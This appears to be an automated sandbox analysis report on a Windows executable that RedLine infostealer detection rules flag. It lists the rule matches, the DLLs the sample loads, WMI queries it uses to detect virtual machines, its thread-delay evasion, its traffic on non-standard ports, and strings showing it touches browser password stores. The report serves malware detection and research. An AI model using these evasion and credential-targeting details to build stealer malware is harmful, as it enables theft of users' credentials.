Source: tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: xI0ubnUcsV.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: xI0ubnUcsV.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: xI0ubnUcsV.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: xI0ubnUcsV.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: xI0ubnUcsV.exe PID: 7420, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0284E7B0	0_2_0284E7B0
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0284DC90	0_2_0284DC90
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_02844C9F	0_2_02844C9F
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_06369628	0_2_06369628
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_06364468	0_2_06364468
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_06361210	0_2_06361210
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_06363320	0_2_06363320
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0636F0E0	0_2_0636F0E0
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0636D108	0_2_0636D108
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0636DD00	0_2_0636DD00
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_06362DB8	0_2_06362DB8

Source: xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs xI0ubnUcsV.exe
Source: xI0ubnUcsV.exe, 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs xI0ubnUcsV.exe
Source: xI0ubnUcsV.exe, 00000000.00000002.1899757607.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs xI0ubnUcsV.exe
Source: xI0ubnUcsV.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs xI0ubnUcsV.exe

Source: xI0ubnUcsV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: xI0ubnUcsV.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: xI0ubnUcsV.exe, type: SAMPLE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: xI0ubnUcsV.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_redline_strings author = Sekoia.io, description = Finds Redline samples based on characteristic strings, creation_date = 2022-09-07, classification = TLP:CLEAR, version = 1.0, id = 0c9fcb0e-ce8f-44f4-90b2-abafcdd6c02e
Source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: xI0ubnUcsV.exe PID: 7420, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/45@1/2

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

File created: C:\Users\user\AppData\Local\Temp\tmpC983.tmp

Jump to behavior

Source: xI0ubnUcsV.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: xI0ubnUcsV.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpC994.tmp.0.dr, tmpC9A5.tmp.0.dr, tmpC9A4.tmp.0.dr, tmp3F1.tmp.0.dr, tmpC9B6.tmp.0.dr, tmpC983.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: xI0ubnUcsV.exe	Virustotal: Detection: 79%
Source: xI0ubnUcsV.exe	ReversingLabs: Detection: 86%

Source: unknown	Process created: C:\Users\user\Desktop\xI0ubnUcsV.exe "C:\Users\user\Desktop\xI0ubnUcsV.exe"
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Section loaded: amsi.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: xI0ubnUcsV.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: xI0ubnUcsV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: xI0ubnUcsV.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0636EFE2 push es; ret		0_2_0636EFF0
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Code function: 0_2_0636EFC0 push es; ret		0_2_0636EFF0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 62529
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 62529
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 62529
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 62529
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 62529 -> 49734

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Memory allocated: 2840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Memory allocated: 29B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Memory allocated: 49B0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Window / User API: threadDelayed 8351			Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Window / User API: threadDelayed 1450			Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe TID: 7584

Thread sleep time: -30437127721620741s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: xI0ubnUcsV.exe, 00000000.00000002.1899757607.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Users\user\Desktop\xI0ubnUcsV.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
